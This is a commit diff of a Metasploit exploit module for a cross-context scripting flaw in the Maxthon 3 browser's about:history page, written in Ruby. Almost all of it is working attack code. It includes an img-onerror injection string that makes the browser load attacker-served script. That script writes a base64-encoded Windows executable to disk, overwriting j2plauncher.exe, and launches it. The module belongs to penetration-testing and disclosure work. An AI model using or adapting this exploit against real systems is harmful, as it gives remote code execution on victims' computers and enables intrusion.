1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+
1
9
require 'msf/core'
2
10
3
11
class Metasploit3 < Msf ::Exploit ::Remote
@@ -7,33 +15,29 @@ class Metasploit3 < Msf::Exploit::Remote
7
15
8
16
def initialize ( info = { } )
9
17
super ( update_info ( info ,
10
- 'Name' => 'Maxthon about:history XCS' ,
18
+ 'Name' => 'Maxthon3 about:history XCS' ,
11
19
'Description' => %q{
12
20
Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
13
- Injection in such privileged/trusted browser zone can be used to modify configuration settings and
14
- execute arbitrary commands. Affects Maxthon 3 browsers .
21
+ Injection in such privileged/trusted browser zone can be used to modify
22
+ configuration settings and execute arbitrary commands .
15
23
} ,
16
24
'License' => BSD_LICENSE ,
17
25
'Author' =>
18
- [ 'Roberto Suggi Liverani' , # Discovered the vulnerability and developed msf module
19
- ] ,
20
- 'Version' => '$Revision: 1 $' ,
26
+ [
27
+ 'Roberto Suggi Liverani' , # Discovered the vulnerability and developed msf module
28
+ ] ,
21
29
'References' =>
22
30
[
23
- [ 'CVE' , 'TBA' ] ,
24
31
[ 'URL' , 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html' ] ,
25
32
] ,
26
33
'Payload' =>
27
34
{
28
35
'DisableNops' => true ,
29
36
} ,
37
+ 'Platform' => 'win' ,
30
38
'Targets' =>
31
39
[
32
- [ 'Maxthon 3' ,
33
- {
34
- 'Platform' => 'win' ,
35
- }
36
- ] ,
40
+ [ 'Maxthon 3 on Windows' , { } ]
37
41
] ,
38
42
'DisclosureDate' => 'Nov 26 2012' ,
39
43
'DefaultTarget' => 0
@@ -67,7 +71,7 @@ def on_request_uri(cli, request)
67
71
^
68
72
69
73
case request . uri
70
- when /[?] jspayload/
74
+ when /\? jspayload/
71
75
p = regenerate_payload ( cli )
72
76
if ( p . nil? )
73
77
send_not_found ( cli )
@@ -77,16 +81,24 @@ def on_request_uri(cli, request)
77
81
# everything is encoded
78
82
penc = Msf ::Util ::EXE . to_win32pe ( framework , p . encoded )
79
83
penc2 = Rex ::Text . encode_base64 ( penc )
84
+
80
85
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon
81
86
# depending on maxthon version, then file can be launched via Program DOM API
82
87
# or replacing Java program
88
+ # here we need to take a dirty approach, we need to overwrite an existing exe and then invoke it
89
+ # this is because the maxthon.program object has been silently removed in latest Maxthon versions...
90
+ # in WindowsXP, any exe can be overwritten, then a simple call to a uri scheme can invoke the exe
91
+ # e.g. wab.exe invoked via mailto://
92
+ # however, in win7, a prompt will be displayed if browser executes a mail client or an external program
93
+ # so a common way to exploit would be to overwrite the j2plauncher.exe, which calls java.exe when applet is found
94
+ # once that is done, then we can point to a page where a java applet exists which will invoke java.exe,
95
+ # unless previously loaded by the user
83
96
content =
84
97
%Q{
85
98
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
86
99
var fileObj = maxthon.io.File(fileTemp);
87
100
maxthon.io.FileWriter(fileTemp);
88
101
89
-
90
102
if(maxthon.program)
91
103
{
92
104
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{ penc2 } ");
@@ -95,15 +107,6 @@ def on_request_uri(cli, request)
95
107
96
108
else
97
109
{
98
- // here we need to take a dirty approach, we need to overwrite an existing exe and then invoke it
99
- // this is because the maxthon.program object has been silently removed in latest Maxthon versions...
100
- // in WindowsXP, any exe can be overwritten, then a simple call to a uri scheme can invoke the exe
101
- // e.g. wab.exe invoked via mailto://
102
- // however, in win7, a prompt will be displayed if browser executes a mail client or an external program
103
- // so a common way to exploit would be to overwrite the j2plauncher.exe, which calls java.exe when applet is found
104
- // once that is done, then we can point to a page where a java applet exists which will invoke java.exe,
105
- // unless previously loaded by the user
106
- //
107
110
fileTemp.name_ = "#{ jpath } ";
108
111
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{ penc2 } ");
109
112
@@ -115,45 +118,39 @@ def on_request_uri(cli, request)
115
118
116
119
}
117
120
118
- when /[?] history/
119
- js = %Q^
121
+ when /\? history/
122
+ js = %Q|
120
123
window.onload = function() {
121
124
location.href = "about:history";
122
125
}
123
- ^
124
- content = %Q^
126
+ |
127
+
128
+ content = %Q|
125
129
#{ html_hdr }
126
130
<script>
127
131
#{ js }
128
132
</script>
129
133
#{ html_ftr }
130
- ^
134
+ |
131
135
when get_resource ( )
132
136
print_status ( "Sending #{ self . name } payload for request #{ request . uri } " )
133
137
134
- js = %Q^
138
+ js = %Q|
135
139
136
140
url = location.href;
137
141
url2 = url + "?jspayload=1";
138
-
139
142
inj = "?history#%22/><img src=a onerror=%22"
140
-
141
143
inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
142
-
143
-
144
144
window.location = unescape(inj) + inj_1;
145
+ |
145
146
146
-
147
-
148
-
149
- ^
150
- content = %Q^
147
+ content = %Q|
151
148
#{ html_hdr }
152
149
<script>
153
150
#{ js }
154
151
</script>
155
152
#{ html_ftr }
156
- ^
153
+ |
157
154
else
158
155
print_status ( "Sending 404 for request #{ request . uri } " )
159
156
send_not_found ( cli )
0 commit comments